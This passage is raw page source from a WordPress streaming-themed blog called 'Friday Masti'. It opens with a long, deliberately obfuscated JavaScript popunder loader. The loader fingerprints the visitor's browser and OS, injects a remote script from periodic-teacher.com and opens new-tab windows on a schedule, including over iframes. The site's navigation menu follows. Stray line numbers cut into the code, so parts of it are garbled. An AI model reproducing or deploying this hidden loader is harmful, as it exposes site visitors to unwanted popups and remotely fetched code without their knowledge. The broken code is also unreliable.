e=r[t(341)],window.addEventListener(r.RCUBg,function(){var i=t;e=r[i(1025)],this[i(1280)](n.element,n[i(615)])}[t(308)](this),!1)}else if(!/complete|interactive|loaded/.test(document[t(848)]))return e=r[t(531)],window[t(760)](r[t(751)],function(){var i=t;e=r[i(558)],this[i(1280)](n[i(997)],n[i(615)])}.bind(this),!1);return e=r.ogkVm,this[t(1280)](n.element,n.callback)}catch(n){var i=r[t(1008)];r[t(1133)](pop1stp_typeof,n)===r[t(411)]&&(i+=r[t(1091)](r.mMzYv,n[t(637)]),i+=r[t(1028)]+e,i+=r[t(889)](r.CkkSR,n[t(946)]),i+=r[t(309)](t(1090),n[t(706)]),i+=r[t(889)](r[t(639)],n.name));var o={};o[t(637)]=i,pop1stp_pop[t(974)](o)}},appendElement:function(n,t){var r=Z;if(document[r(583)][r(1121)](n),t)return{qDtbS:function(n,t){return n(t)}}[r(1064)](t,n)},removeElement:function(n){var t=Z,r={ntdet:function(n,t){return n instanceof t},nvPBn:function(n,t){return n===t},voYAN:function(n,t){return n(t)},dRmCR:t(928),DKNls:function(n,t){return n+t},PgSVL:t(1224),pfQIF:t(1090),YIZKQ:t(1051),RxUju:function(n,t){return n(t)},vYLEY:t(681),GYfQY:t(478),PUNWZ:"\nerror.name: "},e="";try{r[t(773)](n,Node)||(n=this)}catch(n){e=t(476),r[t(490)](r[t(834)](pop1stp_typeof,n),r[t(796)])?(e+=r[t(1120)](r[t(1149)],n[t(637)]),e+=t(478)+n[t(946)],e+=r[t(1120)](r[t(1170)],n[t(706)]),e+=t(497)+n.name):e+=r[t(459)]+r[t(519)](pop1stp_typeof,n);var i={};i[t(637)]=e,pop1stp_pop[t(974)](i)}try{return n&&n[t(696)]&&n.parentElement.removeChild(n)}catch(n){e=r[t(1035)],r[t(490)](r[t(834)](pop1stp_typeof,n),t(928))?(e+=r[t(1120)](r[t(1149)],n[t(637)]),e+=r[t(1120)](r[t(968)],n.stack),e+=r[t(1120)](r[t(1170)],n[t(706)]),e+=r[t(1120)](r[t(789)],n.name)):e+=r[t(1120)](r.YIZKQ,r[t(519)](pop1stp_typeof,n));var o={};o[t(637)]=e,pop1stp_pop[t(974)](o)}},ige:function(n){var t=Z,r={};r[t(423)]=function(n,t){return n<t},r[t(1186)]=function(n,t){return n===t},r[t(807)]=t(482),r[t(938)]=function(n,t){return n in t},r[t(886)]=t(378);var e=r;if(!/android|iphone|ipad|ipod/[t(936)](n))return!1;var i=!1,o=navigator[t(511)];try{if(o){for(var u=0,a=o[t(652)];e[t(423)](u,a);u++){var c=o[u];if(c&&e.VEqdF(c[t(871)],e[t(807)])){i=!0;break}}e.uDPGs(e[t(886)],window)&&"TouchList"in window&&i&&(i=!1)}}catch(n){i=!1}return i},browser:function(){var n,t,r=Z,e=navigator[r(1239)][r(380)](),i={mobile:(n=e,t=r,n.match(/android/i)||n[t(809)](/webos/i)||n[t(809)](/iphone/i)||n[t(809)](/ipad/i)||n[t(809)](/ipod/i)||n[t(809)](/blackberry/i)||n[t(809)](/windows phone/i)||n[t(809)](/iemobile/i)||n[t(809)](/opera mini/i)),webkit:/webkit/gi.test(e),mozilla:/mozilla/gi[r(936)](e)&&!/(compatible|webkit)/[r(936)](e),chrome:/chrome/gi.test(e),msie:/msie/gi.test(e)&&!/opera/[r(936)](e),firefox:/firefox/gi[r(936)](e),safari:/safari/gi[r(936)](e)&&!/chrome/[r(936)](e),opera:/opera|opr/gi[r(936)](e),android:/android/gi.test(e),macosx:/mac os x/gi[r(936)](e),ios:/iphone|ipad|ipod/gi[r(936)](e),winphone:/windows phone/gi[r(936)](e)};return i[r(763)]=i[r(1031)]?(e.match(/.+(?:ri)[\/: ]([\d.]+)/)||[])[1]:(e[r(809)](/.+(?:ox|me|ra|ie)[\/: ]([\d.]+)/)||[])[1],i}(),ua:{initialize:function(){var n=Z,t={};t[n(339)]=n(1061),t[n(395)]="/416",t[n(653)]=n(484),t[n(1187)]=n(642),t[n(362)]=n(324),t[n(1013)]=n(967),t[n(1036)]="NT4.0",t[n(718)]=n(658),t[n(1195)]=n(1220),t[n(447)]="NT 6.0",t[n(847)]=n(983),t[n(408)]=n(363),t.fKPhh=n(905),t[n(627)]=n(778),t[n(1083)]=n(763),t[n(728)]=n(1178),t[n(1141)]=n(528),t[n(599)]="Dolphin",t[n(985)]=n(609),t[n(499)]=n(1251),t.dKsFK="Netscape",t[n(1225)]="BlackBerry",t[n(385)]=n(770),t[n(734)]=n(806);var r=t,e={};e[n(1104)]="/8",e[1.2]="/1",e[n(358)]="/3",e[n(1046)]=r[n(339)],e["2.0.2"]=r[n(395)],e[n(699)]=r.ztZwO,e[n(438)]=r[n(1187)],e["?"]="/";var i={major:{1:["/8","/1","/3"],2:"/4","?":"/"}};i[n(763)]=e;var o={};o[n(515)]=i;var u={};u.ME=r[n(362)],u[n(465)]=r[n(1013)],u[n(1260)]=r.fApvH,u[n(1202)]=r[n(718)],u.XP=[r[n(1195)],n(903)],u[n(708)]=r[n(447)],u[7]=r[n(847)],u[8]=n(1265),u[n(518)]=r[n(408)],u.RT=r[n(1109)];var a={};a[n(763)]=u;var c={};c[n(948)]=a;var s={};s[n(620)]=o,s.os=c,this.maps=s;var f={};f[n(620)]=[[/(opera\smini)\/((\d+)?[\w\.-]+)/i,/(opera\s[mobileta]+).+version\/((\d+)?[\w\.-]+)/i,/(opera).+version\/((\d+)?[\w\.]+)/i,/(opera)[\/\s]+((\d+)?[\w\.]+)/i],[r.qMoub,r[n(1083)],r[n(728)]],[/\s(opr)\/((\d+)?[\w\.]+)/i],[[r[n(627)],n(705)],r[n(1083)],r[n(728)]],[/(kindle)\/((\d+)?[\w\.]+)/i,/(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?((\d+)?[\w\.]+)*/i,/(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?((\d+)?[\w\.]*)/i,/(?:ms|\()(ie)\s((\d+)?[\w\.]+)/i,/(rekonq)((?:\/)[\w\.]+)*/i,/(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron)\/((\d+)?[\w\.-]+)/i],[r[n(627)],r[n(1083)],r[n(728)]],[/(trident).+rv[:\s]((\d+)?[\w\.]+).+like\sgecko/i],[[r[n(627)],"IE"],r[n(1083)],r[n(728)]],[/(yabrowser)\/((\d+)?[\w\.]+)/i],[[r[n(627)],r[n(1141)]],r[n(1083)],r.mCzwB],[/(comodo_dragon)\/((\d+)?[\w\.]+)/i],[[r[n(627)],/_/g," "],n(763),r[n(728)]],[/(chrome|omniweb|arora|[t
289izenoka]{5}\s?browser)\/v?((\d+)?[\w\.]+)/i],[r.qMoub,r[n(1083)],r.mCzwB],[/(dolfin)\/((\d+)?[\w\.]+)/i],[[r[n(627)],r[n(599)]],r.WatRw,r[n(728)]],[/((?:android.+)crmo|crios)\/((\d+)?[\w\.]+)/i],[[n(778),r[n(985)]],r[n(1083)],r.mCzwB],[/version\/((\d+)?[\w\.]+).+?mobile\/\w+\s(safari)/i],["version",r.mCzwB,[r[n(627)],r[n(499)]]],[/version\/((\d+)?[\w\.]+).+?(mobile\s?safari|safari)/i],[r[n(1083)],r[n(728)],"name"],[/webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i],[r[n(627)],["major",pop1stp_pop[n(318)].ua[n(793)][n(1089)],pop1stp_pop[n(318)].ua[n(824)][n(620)][n(515)].major],[r[n(1083)],pop1stp_pop[n(318)].ua[n(793)].str,pop1stp_pop.utils.ua.maps[n(620)][n(515)][n(763)]]],[/(konqueror)\/((\d+)?[\w\.]+)/i,/(webkit|khtml)\/((\d+)?[\w\.]+)/i],[r.qMoub,r[n(1083)],"major"],[/(navigator|netscape)\/((\d+)?[\w\.-]+)/i],[[r.qMoub,r[n(772)]],r[n(1083)],r.mCzwB],[/(swiftfox)/i,/(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?((\d+)?[\w\.\+]+)/i,/(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/((\d+)?[\w\.-]+)/i,/(mozilla)\/((\d+)?[\w\.]+).+rv\:.
289+gecko\/\d+/i,/(uc\s?browser|polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf|qqbrowser)[\/\s]?((\d+)?[\w\.]+)/i,/(links)\s\(((\d+)?[\w\.]+)/i,/(gobrowser)\/?((\d+)?[\w\.]+)*/i,/(ice\s?browser)\/v?((\d+)?[\w\._]+)/i,/(mosaic)[\/\s]((\d+)?[\w\.]+)/i],["name",r[n(1083)],r.mCzwB]],f.os=[[/(windows)\snt\s6\.2;\s(arm)/i,/(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i],[r.qMoub,[n(763),pop1stp_pop[n(318)].ua[n(793)][n(1089)],pop1stp_pop[n(318)].ua[n(824)].os[n(948)][n(763)]]],[/(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i],[[r[n(627)],n(1241)],[r[n(1083)],pop1stp_pop[n(318)].ua[n(793)][n(1089)],pop1stp_pop[n(318)].ua[n(824)].os.windows[n(763)]]],[/\((bb)(10);/i],[[r[n(627)],r.jwkDU],n(763)],[/(blackberry)\w*\/?([\w\.]+)*/i,/(tizen)\/([\w\.]+)/i,/(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego)[\/\s-]?([\w\.]+)*/i],[r[n(627)],r.WatRw],[/(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i],[[n(778),"Symbian"],n(763)],[/mozilla.+\(mobile;.+gecko.+firefox/i],[[r[n(627)],n(1273)],r.WatRw],[/(nintendo|playstation)\s([wids3portablevu]+)/i,/(mint)[\/\s\(]?(\w+)*/i,/(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk)[\/\s-]?([\w\.-]+)*/i,/(hurd|linux)\s?([\w\.]+)*/i,/(gnu)\s?([\w\.]+)*/i],[r.qMoub,n(763)],[/(cros)\s[\w]+\s([\w\.]+\w)/i],[[r.qMoub,r[n(385)]],r.WatRw],[/(sunos)\s?([\w\.]+\d)*/i],[[r[n(627)],n(700)],n(763)],[/\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i],["name",r[n(1083)]],[/(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i],[[r[n(627)],r[n(734)]],[r.WatRw,/_/g,"."]],[/(mac\sos\sx)\s?([\w\s\.]+\w)*/i],[r[n(627)],[r[n(1083)],/_/g,"."]],[/(haiku)\s(\w+)/i,/(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i,/(macintosh|mac(?=_powerpc)|plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos)/i,/(unix)\s?([\w\.]+)*/i],[r[n(627)],r.WatRw]],this.regexes=f},ua:window&&window.navigator&&window[Z(364)][Z(1239)]?window.navigator[Z(1239)]:"",get:{browser:function(){var n=Z;return pop1stp_pop[n(318)].ua[n(793)][n(1006)].apply(this,pop1stp_pop[n(318)].ua[n(960)][n(620)])},os:function(){var n=Z;return pop1stp_pop[n(318)].ua[n(793)][n(1006)][n(550)](this,pop1stp_pop[n(318)].ua[n(960)].os)}},util:{has:function(n,t){var r=Z;return-1!==t[r(380)]()[r(833)](n.toLowerCase())},lowerize:function(n){return n.toLowerCase()}},mapper:{rgx:function(){for(var n,t,r,e,i,o,u,a=Z,c={yemak:function(n,t){return n<t},ctsBP:function(n,t){return n+t},hZdqX:function(n,t){return n===t},TqOwk:function(n,t){return n===t},AHHkQ:function(n,t){return n(t)},xnKQq:a(928),OjWTq:function(n,t){return n<t},tEhpS:function(n,t){return n(t)},OUuUg:function(n,t){return n==t},HXUqO:function(n,t){return n==t},sGBfm:a(837)},s=0,f=arguments;c[a(932)](s,f[a(652)]);s+=2){var v=f[s],p=f[c[a(600)](s,1)];if(c.hZdqX(typeof n,a(434)))for(e in n={},p)i=p[e],c[a(319)](c[a(890)](pop1stp_typeof,i),c[a(321)])?n[i[0]]=void 0:n[i]=void 0;for(t=r=0;t<v.length;t++)if(o=v[t].exec(pop1stp_pop[a(318)].ua.ua)){for(e=0;c.OjWTq(e,p.length);e++)u=o[++r],i=p[e],c.TqOwk(c[a(963)](pop1stp_typeof,i),c[a(321)])&&i[a(652)]>0?c[a(820)](i[a(652)],2)?c[a(754)](typeof i[1],c[a(935)])?n[i[0]]=i[1][a(366)](this,u):n[i[0]]=i[1]:3==i.length?!c[a(319)](typeof i[1],a(837))||i[1].exec&&i[1].test?n[i[0]]=u?u.replace(i[1],i[2]):void 0:n[i[0]]=u?i[1][a(366)](this,u,i[2]):void 0:4==i.length&&(n[i[0]]=u?i[3][a(366)](this,u[a(743)](i[1],i[2])):void 0):n[i]=u||void 0;break}if(o)break}return n},str:function(n,t){var r=Z,e={ZasEX:function(n,t){return n(t)},AZzRq:function(n,t){return n>t},oqfqo:function(n,t){return n<t},Ztqng:function(n,t){return n===t}};for(var i in t)if("object"===e[r(1111)](pop1stp_typeof,t[i])&&e[r(1146)](t[i][r(652)],0)){for(var o=0;e[r(713)](o,t[i][r(652)]);o++)if(pop1stp_pop.utils.ua[r(432)][r(360)](t[i][o],n))return"?"===i?void 0:i}else if(pop1stp_pop[r(318)].ua[r(432)].has(t[i],n))return e.Ztqng(i,"?")?void 0:i;return n}}},window:{height:function(){var n=Z,t={};t[n(1175)]=function(n,t){return n===t};var r=0;return t[n(1175)](typeof window[n(1165)],n(646))?r=window[n(1165)]:document[n(869)]&&document[n(869)][n(404)]?r=document[n(869)][n(404)]:document.body&&document.body[n(404)]&&(r=d
289ocument[n(583)][n(404)]),r},width:function(){var n=Z,t={};t.lqRCm=n(646);var r=t,e=0;return typeof window[n(717)]===r[n(829)]?e=window[n(717)]:document[n(869)]&&document[n(869)][n(711)]?e=document[n(869)][n(711)]:document[n(583)]&&document[n(583)][n(711)]&&(e=document[n(583)][n(711)]),e},top:function(){var n=Z;return null!=window[n(520)]?window[n(520)]:window.screenY},left:function(){var n=Z,t={};return t[n(619)]=function(n,t){return n!=t},t[n(619)](window[n(1229)],void 0)?window.screenLeft:window[n(543)]}},event:{ready:function(n){var t=Z,r={gQJBz:function(n,t){return n===t},DhBuS:"interactive",IlXAW:function(n,t){return n===t},RfiYi:t(1070),otYsT:function(n){return n()},GVDWU:t(755)};r[t(794)](document[t(848)],r.DhBuS)||r[t(777)](document.readyState,r[t(1049)])?r.otYsT(n):document.addEventListener(r.GVDWU,n)}},elements:{isElement:function(n){var t=Z,r={};r[t(1067)]=function(n,t){return n===t},r[t(1199)]=t(928),r[t(402)]=function(n,t){return n!==t};var e=r;return e[t(1067)](pop1stp_typeof(n),e.mAqzp)&&e[t(402)](n,null)},isThumbnailLink:function(n){var t=Z,r={};r[t(672)]=function(n,t){return n===t},r[t(397)]=function(n,t){return n>t},r.zMpYN=t(677),r[t(466)]=function(n,t){return n>t};var e=r;if(!this[t(487)](n))return!1;for(var i=n;this.isElement(i);){if(e[t(672)](i.tagName,"A")&&e[t(397)](i.getElementsByTagName(e[t(1259)])[t(652)],0)&&e[t(397)](i.getElementsByTagName(e.zMpYN)[0][t(711)],90)&&e[t(466)](i[t(630)](e.zMpYN)[0][t(404)],90))return!0;if(!this[t(487)](i[t(696)]))return!1;i=i.parentElement}return!1},isTextLinkOrSimilar:function(n){var t=Z,r={};r[t(855)]=function(n,t){return n===t},r.TYONY=function(n,t){return n<=t},r.ZKULY=t(677);var e=r;if(!this[t(487)](n))return!1;for(var i=n;this[t(487)](i);){if(e.RZXoy(i[t(1069)],"A")&&e[t(1112)](i.getElementsByTagName(e.ZKULY)[t(652)],0))return!0;if(!this[t(487)](i[t(696)]))return!1;i=i.parentElement}return!1}},polyfills:{matches:(ELEMENT=Element.prototype,matches=ELEMENT.matches||ELEMENT.matchesSelector||ELEMENT.webkitMatchesSelector||ELEMENT.mozMatchesSelector||ELEMENT.msMatchesSelector||ELEMENT.oMatchesSelector,void(ELEMENT.matches=ELEMENT.matchesSelector=matches||function(n){var t=document.querySelectorAll(n),r=this;return Array.prototype.some.call(t,(function(n){return n===r}))})),closest:function(n){n.closest=n.closest||function(n){return this?this.matches(n)?this:this.parentElement?this.parentElement.closest(n):null:null}}(Element.prototype),once:function(){var n=!1;if(window.addEventListener("test",null,{get once(){return n=!0,!1}}),!n){var t=Node.prototype.addEventListener,r=Node.prototype.removeEventListener,e=Event.prototype.preventDefault,i=function(n,e,i){var o=this,u="object"===pop1stp_typeof(i=i||!1),a=u&&"capture"in i&&!0===i.capture,c=u&&"once"in i&&!0===i.once,s=u&&"passive"in i&&!0===i.passive;({handleEvent:function(t){c&&r.call(o,n,this,a),t.__passive=s,e(t)},add:function(){t.call(o,n,this,a)}}).add()},o=function(n,t,e){var i="object"===pop1stp_typeof(e=e||!1)&&"capture"in e&&!0===e.capture;r.call(this,n,t,i)},u=function(){this.__passive||e.apply(this)};Object.defineProperty(Node.prototype,"addEventListener",{get:function(){return i}}),Object.defineProperty(Node.prototype,"removeEventListener",{get:function(){return o}}),Object.defineProperty(Event.prototype,"preventDefault",{get:function(){return u}})}}()},randomString:function(n){var t=Z,r={};r[t(628)]=t(1085),r[t(601)]=function(n,t){return n<t},r.Neblu=function(n,t){return n*t};var e,i=r,o="",u=i[t(628)];for(e=0;i[t(601)](e,n||6);e++)o+=u.charAt(Math[t(1095)](i[t(357)](Math.random(),u.length)));return o},timestamp:function(){var n=Z,t={};t[n(1005)]=function(n,t){return n/t};var r=t;return Math.floor(r[n(1005)]((new Date).getTime(),1e3))},trim:function(n){var t=Z,r={};r[t(828)]=function(n,t){return n==t};var e=r,i=String[t(841)].trim?String[t(841)][t(377)][t(366)](n):n[t(489)]()[t(743)](/^\s+/,"")[t(743)](/\s+$/,"");return e[t(828)](n,null)?"":i},merge:function(n,t){var r=Z,e={};e[r(500)]=function(n,t){return n in t},e[r(1077)]=function(n,t){return n===t},e[r(1088)]=r(928);var i=e;for(var o in t)i.nVlWO(o,n)&&i[r(1077)](pop1stp_typeof(n[o]),i.wtUcw)&&pop1stp_typeof(t[o])===i.wtUcw?this[r(884)](n[o],t[o]):n[o]=t[o
289];return n},hash:function(n){var t=Z,r={};r[t(1201)]=function(n,t){return n<t},r[t(817)]=function(n,t){return n-t},r[t(1130)]=function(n,t){return n<<t},r[t(1164)]=function(n,t){return n+t};for(var e=r,i=t(1039)[t(1250)]("|"),o=0;;){switch(i[o++]){case"0":var u,a,c,s=0;continue;case"1":n=n[t(489)]();continue;case"2":if(0!==n[t(652)])for(u=0,c=n[t(652)];e[t(1201)](u,c);u++)a=n[t(1073)](u),s=e[t(817)](e.UiJHx(s,5),s)+a,s|=0;continue;case"3":return e[t(1164)](Math.abs(s)[t(489)](16)+f+f+f,f)[t(732)](0,32);case"4":var f=t(730);continue}break}}}},ELEMENT,matches,cg,o,p;function app_b(n,t){var r=app_a();return app_b=function(t,e){var i=r[t-=189];if(void 0===app_b.nAkgOK){var o=function(n){for(var t,r,e="",i="",o=0,u=0;r=n.charAt(u++);~r&&(t=o%4?64*t+r:r,o++%4)?e+=String.fromCharCode(255&t>>(-2*o&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(var a=0,c=e.length;a<c;a++)i+="%"+("00"+e.charCodeAt(a).toString(16)).slice(-2);return decodeURIComponent(i)};app_b.WaXPCR=o,n=arguments,app_b.nAkgOK=!0}var u=r[0],a=t+u,c=n[a];return c?i=c:(i=app_b.WaXPCR(i),n[a]=i),i},app_b(n,t)}function load1spAndCustomPops(n){var t=app_b;pop1stp_pop.init(n),src_pop.prepare(window[t(209)])}function loadPops(){var n=app_b,t={aXxHA:n(200),CpIDf:function(n,t){return n!==t},lRPLz:function(n,t){return n(t)}},r="";pop1stp_pop[n(221)][n(218)](t.aXxHA,"t");var e=setInterval((function(){var i=n;r=pop1stp_pop.utils[i(224)](t.aXxHA),t[i(195)](r,"t")&&("f"===r?t[i(207)](clearInterval,e):(src_pop[i(190)](window[r]),clearInterval(e)))}),5)}!function(n,t){for(var r=app_b,e=n();;)try{if(256256==-parseInt(r(214))/1+-parseInt(r(206))/2*(-parseInt(r(196))/3)+parseInt(r(219))/4*(parseInt(r(223))/5)+-parseInt(r(198))/6+parseInt(r(220))/7*(-parseInt(r(193))/8)+parseInt(r(217))/9*(parseInt(r(191))/10)+parseInt(r(222))/11)break;e.push(e.shift())}catch(n){e.push(e.shift())}}(app_a);var request=function(n){for(var t=app_b,r={ycjTL:function(n,t){return n<t},aSYXv:function(n,t){return n-t},HBZeb:function(n){return n()},zATxX:"misc.bindTo",PeEBS:t(208)},e=t(212)[t(210)]("|"),i=0;;){switch(e[i++]){case"0":for(var o=0;r[t(215)](o,v[t(192)]);o++)if(1===v[o][t(210)](".")[t(192)])n[v[o]]&&(c[t(189)][v[o]]=n[v[o]]);else{var u=v[o][t(210)](".");n[u[0]][u[1]]&&(!c[t(189)][u[0]]&&(c.settings[u[0]]={}),c[t(189)][u[0]][u[1]]=n[u[0]][u[1]])}continue;case"1":c[t(216)]=function(){load1spAndCustomPops(n)};continue;case"2":var a=document,c=a[t(203)](t(205)),s=a[t(211)][r[t(197)](a.scripts[t(192)],1)];continue;case"3":var f={CXtNe:function(n){return r.HBZeb(n)}};continue;case"4":continue;case"5":var v=[r[t(202)],r[t(199)]];continue;case"6":s[t(204)][t(201)](c,s);continue;case"7":c.src=n[t(213)];continue;case"8":c[t(189)]={};continue;case"9":c[t(194)]=function(){f.CXtNe(loadPops)};continue}break}};function app_a(){var n=["yvnzwhy","oteWmJmWCNrvruDo","ugvfqLm","ChnVBNnW","Aw5Zzxj0qMvMB3jL","EKfuEfG","y3jLyxrLrwXLBwvUDa","CgfYzw50tM9Kzq","C2nYAxb0","mJqXmJiWtfrsy3Li","BfjqthO","BwLZyY5Pz25VCMvuBW","Cg9WBNm","C3bSAxq","C2nYAxb0CW","m3W1Fdj8ohWWFdr8n3W2FdL8mq","C2nYAxb0u3jJ","ndi5mtq1uK13tNrR","EwnQveW","B25LCNjVCG","mte1mtGXmuPPrLnwBW","C2v0ugfYyw1uB0jVzhK","mJbxAMX3reW","mtrYALfAEfC","DxrPBhm","nduXmdy0owHJz0Pfwa","nJKYotbHBxDJv3y","z2v0ugfYyw1gCM9TqM9KEq","C2v0DgLUz3m","ChjLCgfYzq","mZbhsunry3K","BgvUz3rO","mJaZndq4mhD1ALrKwG","B25SB2fK","q3bjrgy","mtjKB3zUwwu"];return(app_a=function(){return n})()}request(options)})(); 290})({"scriptSrc":"\/\/periodic-teacher.com\/c.Du9B6ibZ2n5Hl\/SHWCQb9\/NCz\/Qv0YNiTEQHy\/OdSa0W3rNvDpQY1nNUDvM_zG","window":{"url":"\/\/periodic-teacher.com\/b.3cVy0MPT3cpfvbbZm\/V\/JHZWDc0M3uNlD\/QO1xNKDnII5yLETScE0BN-DNUF0SM\/z_MmmkcznqN\/yMYvzz0zxDc\/3PRhwD"},"freq":{"qty":3,"period":3600,"scheme":"time","distance":60,"distances":"","pagelim":0,"max":0,"context":"domain","session":false,"sessionKeepAliveTime":0,"sessionExpiration":3600},"misc":{"newTab":true,"under":false,"coverTags":"iframe"},"onlyClickable":false}) 291</script>
291 292<body class="blog wp-custom-logo wp-embed-responsive wp-theme-streamit theme-streamit rttpg rttpg-7.9.6 radius-frontend rttpg-body-wrap rttpg-flaticon woocommerce-no-js angie-default metaslider-plugin header-sticky not-home elementor-default elementor-kit-4"> 293 <div class="tmpcoder-video-popup"></div> <!-- Start loader --> 294<!-- End loader --> 295 296<!-- Different header or default header --> 297<div id="page" class="site css_prefix "> 298 <header class="header-default has-sticky " id="default-header"> 299 <div class="container-fluid"> 300 <div class="d-flex align-items-center justify-content-between w-100"> 301 <div class="d-flex align-items-center gap-2 gap-md-3"> 302 303 <!-- Branding section --> 304 <a href="https://fridaymasti.com/"><img class="img-fluid logo" src="https://fridaymasti.com/wp-content/uploads/2026/09/cropped-WhatsApp_Image_2026-08-28_at_8.51.31_PM-removebg-preview.png" alt="Friday Masti"></a> 305 </div> 306 307 <!-- Site navigation --> 308 <nav id="site-navigation" class="navbar deafult-header navbar-expand-xl navbar-light p-0" aria-label="Main menu"> 309 <div class="offcanvas offcanvas-start css_prefix-offcanvas-menu" data-bs-backdrop="static" tabindex="-1" id="staticBackdrop"> 310 <div class="offcanvas-header"> 311 <a href="https://fridaymasti.com/"><img class="img-fluid logo" src="https://fridaymasti.com/wp-content/uploads/2026/09/cropped-WhatsApp_Image_2026-08-28_at_8.51.31_PM-removebg-preview.png" alt="Friday Masti"></a> 312 <!-- Close button for the offcanvas menu --> 313 <button type="button" class="btn-close" data-bs-dismiss="offcanvas" aria-label="Close"></button> 314 </div> 315 316 <div class="offcanvas-body"> 317 <div id="navbarSupportedContent" class="navbar-collapse justify-content-center"> 318 <div id="css_prefix-menu-container" class="menu-all-pages-container"> 319 <nav class="menu-main-menu-container"><ul id="menu-main-menu" class="sf-menu navbar-nav top-menu navbar-nav-toggle ms-auto"><li id="menu-item-3871" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-3871"><a href="https://fridaymasti.com/"><span class="menu-title"><span class="css_prefix-menu-item-title">OTT Home</span></span></a></li><li id="menu-item-3877" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-3877"><a href=""><span class="menu-title"><span class="css_prefix-menu-item-title">Features</span><span class="toggledrop icon-arrow-down"></span></span></a><ul class="sub-menu"><li id="menu-item-3880" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-3880"><a href="https://ottfanclub.com/movies/rabbit/"><span class="menu-title"><span class="css_prefix-menu-item-title">Restricted Content</span></span></a></li><li id="menu-item-3884" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-3884"><a href="https://ottfanclub.com/movies/dinoosaur/"><span class="menu-title"><span class="css_prefix-menu-item-title">Related Merchandise</span></span></a></li><li id="menu-item-3990" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-3990"><a href="https://ottfanclub.com/movies/venom/"><span class="menu-title"><span class="css_prefix-menu-item-title">Subtitle Edition</span></span></a></li></ul></li><li id="menu-item-3885" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-3885"><a href=""><span class="menu-title"><span class="css_prefix-menu-item-title">Pages</span><span class="toggledrop icon-arrow-down"></span></span></a><ul class="sub-menu"><li id="menu-item-3890" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3890"><a href="https://fridaymasti.com/pricing-plan/"><span class="menu-title"><span class="css_prefix-menu-item-title">Pricing Plan</span></span></a></li><li id="menu-item-3886" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3886"><a href="https://fridaymasti.com/privacy-policy-2/"><span class="menu-title"><span class="css_prefix-menu-item-title">Privacy Policy</span></span></a></li><li id="menu-item-3891" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3891"><a href="https://fridaymasti.com/terms-and-use/"><span class="menu-title"><span class="css_prefix-menu-item-title">Terms and Use</span></span></a></li></ul></li><li id="menu-item-3892" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-ancestor current-menu-parent menu-item-has-children menu-item-3892"><a href=""><span class="menu-title"><span class="css_prefix-menu-item-title">Blog</span><span class="toggledrop icon-arrow-down"></span></span></a><ul class="sub-menu"><li id="menu-item-3893" class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-1137 current_page_item current_page_parent menu-item-3893"><a href="https://fridaymasti.com/blog/" aria-current="page"><span class="menu-title"><span class="css_prefix-menu-item-title">Blog Listing</span></span></a></li><li id="menu-item-3894" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-3894"><a href=""><span class="menu-title"><span class="css_prefix-menu-item-title">Blog Grid</span><span class="toggledrop icon-arrow-down"></span></span></a><ul class="sub-menu"><li id="menu-item-3895" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3895"><a href="https://fridaymasti.com/four-column-blog/"><span class="menu-title"><span class="css_prefix-menu-item-title">Four Column Blog</span></span></a></li><li id="menu-item-3896" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3896"><a href="https://fridaymasti.com/one-column-blog/"><span class="menu-title"><span class="css_prefix-menu-item-title">One Column Blog</span></span></a></li><li id="menu-item-3897" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3897"><a href="https://fridaymasti.com/three-column-blog/"><span class="menu-title"><span class="css_prefix-menu-item-title">Three column Blog</span></span></a></li><li id="menu-item-3898" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3898"><a href="https://fridaymasti.com/two-column-blog/"><span class="menu-title"><span class="css_prefix-menu-item-title">Two Column Blog</span></span></a></li></ul></li><li id="menu-item-3899" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-3899"><a href=""><span class="menu-title"><span class="css_prefix-menu-item-title">Blog Sidebar</span><span class="toggledrop icon-arrow-down"></span></span></a><ul class="sub-menu"><li id="menu-item-3900" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3900"><a href="https://fridaymasti.com/blog-left-sidebar/"><span class="menu-title"><span class="css_prefix-menu-item-title">Blog Left Sidebar</span></span></a></li><li id="menu-item-3901" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3901"><a href="https://fridaymasti.com/blog-right-sidebar/"><span class="menu-title"><span class="css_prefix-menu-item-title">Blog Right Sidebar</span></span></a></li></ul></li><li id="menu-item-3902" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-3902"><a href=""><span class="menu-title"><span class="css_prefix-menu-item-title">Blog Single</span></span></a></li><li id="menu-item-3909" 